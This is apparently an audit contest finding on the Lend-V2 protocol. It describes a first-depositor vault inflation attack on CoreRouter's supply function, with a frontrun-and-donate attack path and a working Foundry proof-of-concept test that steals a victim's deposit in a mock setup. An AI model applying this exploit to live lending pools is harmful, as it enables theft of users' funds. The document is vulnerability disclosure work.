Restless Tan Goat

High

# User funds can be stolen by a vault inflation attack

### Summary

An attacker can frontrun the first call to `CoreRouter::supply()` by supplying a small amount first and then artificially inflating the underlying token balance of the `LToken` contract with a direct `transfer()`. As a result, the first supply by a legitimate user will mint 0 LTokens thus giving the ownership over the whole share of the pool to the attacker.

### Root Cause

The calculation for [`mintTokens`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L80) in `CoreRouter` will round down to 0 if the inflation attack is done correctly, as the exchange rate will become larger than the amount of underlying tokens in. Consequently the legitimate user's `totalInvestment` in `LendStorage` will be set to 0.

### Internal Pre-conditions

1. Protocol contracts need to be deployed.
2. Attacker must observe first supply transaction being submitted.

### External Pre-conditions

N/A

### Attack Path

1. A user submits the first supply for a particular LToken.
2. An attacker frontruns the user's transaction.
3. The attacker supplies a small amount of the underlying token to `CoreRouter`.
4. The attacker directly transfers underlying tokens to the `LToken` contract.
5. The user's `supply()` transaction is executed, resulting in 0 LTokens minted.
6. Attacker calls `redeem()` and receives both his initially invested underlying tokens and the first user's assets.

### Impact

An attacker can steal the first supplier's deposit. If he manages to redeem it before another user has deposited into the pool, he can perform the attack multiple times.

### PoC

Paste the following code in `test/TestSupplying.t.sol`.
Use `forge test --match-test test_that_first_deposit_attack_is_feasible -vvv` to run the test.

```solidity
    function test_that_first_deposit_attack_is_feasible() public {
        address attacker = makeAddr("attacker");
        address legitimateUser = makeAddr("legitimateUser");

        address token = supportedTokens[0];
        address lToken = lendStorage.underlyingTolToken(token);

        uint256 attackerUnderlyingTokenBalanceBefore = 2_000_000e18;
        uint256 legitimateUserUnderlyingTokenBalanceBefore = 1_000_000e18;
        //mint underlying tokens to the attacker
        ERC20Mock(token).mint(attacker, attackerUnderlyingTokenBalanceBefore);
        //mint underlying tokens to the legitimate user
        ERC20Mock(token).mint(legitimateUser, legitimateUserUnderlyingTokenBalanceBefore);

        console2.log("Before attack:");
        console2.log("attacker's underlying token balance:", attackerUnderlyingTokenBalanceBefore);
        console2.log("legitimate user's underlying token balance:", legitimateUserUnderlyingTokenBalanceBefore);
        
        //attacker observes user trying to make the first deposit, and frontruns the user's deposit transaction

        //attacker mints LToken by calling supply
        _supply(attacker, "attacker", token, 2 * 1e8);

        //attacker inflates the underlying token balance of CoreRouter by transferring his LTokens
        vm.prank(attacker);
        ERC20Mock(token).transfer(lToken, 1_000_000e18);

        //legitimate user performs supply through the CoreRouter
        _supply(legitimateUser, "legitimateUser", token, legitimateUserUnderlyingTokenBalanceBefore);

        uint256 legitimateUserTotalInvestment = lendStorage.totalInvestment(legitimateUser, lToken);
        console2.log("legitimateUser's total investment:", legitimateUserTotalInvestment);

        //attacker redeems his share
        _redeem(attacker, "attacker", payable(lToken), 1);

        uint256 attackerUnderlyingTokenBalanceAfter = IERC20(token).balanceOf(attacker);
        
        console2.log("After attack:");
        console2.log("attacker's underlying token balance:", attackerUnderlyingTokenBalanceAfter);

        assert(attackerUnderlyingTokenBalanceAfter >= attackerUnderlyingTokenBalanceBefore + legitimateUserUnderlyingTokenBalanceBefore);
    }

    function _supply(address supplier, string memory _alias, address underlying, uint256 amount) internal {
        vm.startPrank(supplier);

        console2.log("%s supplying %d", _alias, amount);

        //mint underlying token
        ERC20Mock(underlying).mint(supplier, amount);
        
        //approve router and supply
        IERC20(underlying).approve(address(coreRouter), amount);
        coreRouter.supply(amount, underlying);

        vm.stopPrank();
    }

     function _redeem(address redeemer, string memory _alias, address payable lToken, uint256 amount) internal {
        vm.startPrank(redeemer);

        console2.log("%s redeeming %d LTokens", _alias, amount);
        
        coreRouter.redeem(amount, lToken);

        vm.stopPrank();
    }
```

### Mitigation

_No response_